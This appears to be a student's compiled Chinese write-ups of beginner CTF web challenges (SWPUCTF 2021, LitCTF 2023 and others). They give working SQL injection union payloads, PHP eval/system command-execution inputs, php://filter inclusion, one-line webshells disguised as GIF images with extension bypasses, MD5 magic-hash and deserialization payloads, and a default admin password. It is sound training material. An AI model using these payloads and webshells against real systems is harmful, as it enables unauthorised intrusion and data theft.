[SWPUCTF 2021 新生赛]gift_F12
题目提示:F12
下发环境,打开网址,进入网页后
点击F12查看源代码
直接查找flag
可以得到flag
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao-CSDN博客
进入环境后,得到一段php代码
代码审计:
包含了flag.php文件,设定了一个POST请求的id和GET请求的json
语句会对GET请求的数据进行json解码
如果id和json变量的值都等于设定字符串,打印flag
题解:
GET传参?json={"x":"wllm"}
POST传参 id=wllmNB
得到flag
[SWPUCTF 2021 新生赛]easy_md5
[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easy_md5解析(科学计数法,md5数组绕过)_easymd5怎么解-CSDN博客
打开环境,得到代码如下
代码审计
输入name和password的值,只要他俩的值不一样,然后经过md5函数之后一样就能出flag。
所以我们需要md5绕过
需要md5编码后完全相同,但理论上除开故意设计,不会有两个值md5编码完全一样。所以想要有两个值不同但md5编码相同的值几乎没可能。但当两个值不同但是md5编码后为0e开头就不一样了,或者说是当第二位为e的时候就不一样了。
此时他们就不是比较md5编码是不是一模一样了,而是比较他们的值了,或者说从始至终都是比较他们的值,不过是开头为0e的时候,因为形成了php科学计数法的形式,此时无论0e后面是什么数他的值都是0了。所以只需找到两个md5编码为0e的字符串就行。
MD5编码后0e开头的字符串:
QNKCDZO(0e830400451993494058024219903391)
aabg7XSs(0e087386482136013740957780965295)
aaabEgHn(0e418636035810609803317995275027)
构造
GET传参:?name=QNKCDZO
POST传参:password=aabg7XSs
得到flag
[SWPUCTF 2021 新生赛]include
[SWPUCTF 2021 新生赛]include-CSDN博客
打开环境得到
根据提示,get传参 ?file=1
代码审计
看见allow_url_include 状态为on,想到了php伪协议,
用filter读取flag.php里面的信息构造
?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客
得到一串编码
base解码后得到flag
[SWPUCTF 2021 新生赛]easy_sql
打开环境
传参输入:?wllm=1,回显正常
输入wllm=1',出现报错,可以判断为字符型漏洞。
1.查看字段列数
?wllm=-1' order by 3--+ 正常
?wllm=-1' order by 4--+ 报错,所以为3列.
2.查看回显
?wllm=-1' union select 1,2,3--+
3.查看数据库名
?wllm=-1' union select 1,2,database()--+
4.查看test_db库的表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
5.查字段
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
6.查看flag字段的内容
?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+
得到flag
[SWPUCTF 2021 新生赛]easyrce
[SWPUCTF 2021 新生赛]easyrce-解题思路-CSDN博客
打开环境,代码如下
代码审计
if判断语句,如果存在url变量则往下面执行eval函数,执行参数并且返回结果。
1.构造payload,并进行url地址重放:
?url=system("ls /");
2.使用cat命令查看flllllaaaaaaggggggg文件中的命令
?url=system("cat /flllllaaaaaaggggggg");
需注意的是文件在/根目录下
得到flag
[SWPUCTF 2021 新生赛]caidao
打开环境
题目名为:caidao菜刀,连接工具。蚁剑也可以进行连接
观察页面,图片上有代码
@eval($_POST['wllm']); 为一句话木马,后端控制
使用蚁剑,添加数据,密码为wllm
连接成功后,在根目录下可以找到flag
得到flag
[SWPUCTF 2021 新生赛]Do_you_know_http
打开环境
提示说:使用"WLLM"浏览器打开
使用bp更改浏览器信息
打开代理,刷新页面,使用bp抓包
发送到重放器后进行修改
发包后发现是302重定向,但是提示说success成功
那就直接在页面处修改放包
放包后得到
页面提示,说只能在本地访问,并且给出了现在的ip地址
必须以本地IP访问这个页面。代表本地的IP是127.0.0.1
提到IP,那我们可以继续抓包后修改XFF的值
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
也就是说,我们需要借助X-Forwaeded-For来伪装我们的IP为127.0.0.1
虽然数据包没有XFF字段,可以自行添加
在Host的下面添加
X-Forwarded-For: 127.0.0.1
在重放器内发送,却显示302重定向
那么直接在代理里面修改,在网页上发包
得到flag
[SWPUCTF 2021 新生赛]babyrce
NSSCTF | [SWPUCTF 2021 新生赛]babyrce-CSDN博客
[SWPUCTF 2021 新生赛]babyrce(详解)-CSDN博客
打开环境,代码如下
代码审计:
只要cookie值admin等于1时,就能包含文件
使用hackbar直接cookie
访问rasalghul.php文件
代码审计
接受来自 URL 查询参数的输入,并试图在 shell 命令行中执行该输入。不过,如果输入包含空格,则执行会被中断。
先尝试ls
rasalghul.php?url=ls
ls命令是有作用的,所以我们只要能绕过空格限制,就能够执行我们想要执行的所有命令,相当于已经获得了管理员的权限
可以使用$IFS来代替空格
rasalghul.php?url=ls$IFS/
可以看到很显眼的flag文件,直接使用cat命令查看
rasalghul.php?url=cat$IFS/flllllaaaaaaggggggg
得到flag
此题修改cookie的时候,应该也可以使用bp进行修改
[SWPUCTF 2021 新生赛]ez_unserialize
[NSSCTF]-Web:[SWPUCTF 2021 新生赛]ez_unserialize解析(反序列化修改属性)_ezunserialize-CSDN博客
[SWPUCTF 2021 新生赛] ez_unserialize_ctf ezunserialize 空白页-CSDN博客
打开环境,网页为一个动图
查看源代码
查看robots.txt
找到一个路径 /cl45s.php,进行访问
后面就不会了,看大佬的脚本
/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
传参后得到flag
[SWPUCTF 2021 新生赛]easyupload1.0
打开环境
题目也可以读出来,简单的文件上传漏洞
上传一句话木马文件,发现无法上传
查看源代码
上传一句话木马图片文件
a.jpg
GIF89a
<?=eval($_POST["b"]);?>
使用bp进行抓包
发送到重放器进行修改
放包后,浏览页面,发现上传成功
使用蚁剑进行连接
在目录下找到flag
提交后,竟然不对,可恶,被耍了
看了其他大佬的wp才知道,需要查看phpinfo
直接上传.php文件上传不了
上传phpinfo.png文件
<?php
phpinfo();
?>
使用bp抓包修改
修改为
放包后,上传成功,
访问
ctrl+f进行查找,查找关键词flag
找到正确的flag
[SWPUCTF 2021 新生赛]easyupload2.0
打开环境
文件上传1.0的升级版
直接上传.php文件,发现不行
上传一句话木马a.jpg图片文件
GIF89a
<?=eval($_POST["b"]);?>
使用Burpsuite抓包,只修改filename后发现也不能绕过
说明服务器使用了黑名单后缀限制,那么可以使用其他的后缀代替php,
比如这里使用的.phtml,.pht
抓包修改后
放包,成功访问
使用蚁剑进行连接
目录下找到flag
[第五空间 2021]WebFTP
打开环境
有一个登录界面
[第五空间 2021] Web题解_[第五空间 2021]webftp-CSDN博客
查看题解,大佬说:
网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码
初始账号 超级管理员 admin 密码 admin888
成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag
或者
直接传参,查看phpinfo页面
ctrl+f进行快速搜索,找到flag
[LitCTF 2023]PHP是世界上最好的语言!!
[LitCTF 2023]PHP是世界上最好的语言!!_[litctf 2023]php是世界上最好的语言!!-CSDN博客
打开环境
发现左边有个输入框,右边输入框下有 RUN CODE字样,猜测可以执行命令。
进行尝试
<?php print("hello world"); ?>
测试成功
查看根目录下的文件
<?php system("ls"); ?>
<?php system("ls ../../../"); ?>
发现flag文件夹
<?php system("cat /flag"); ?>
使用命令查看,得到flag